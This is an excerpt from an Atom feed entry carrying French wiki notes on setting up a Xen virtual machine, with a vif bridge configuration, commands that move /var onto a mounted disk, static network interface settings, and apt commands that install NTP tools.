dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
</feed>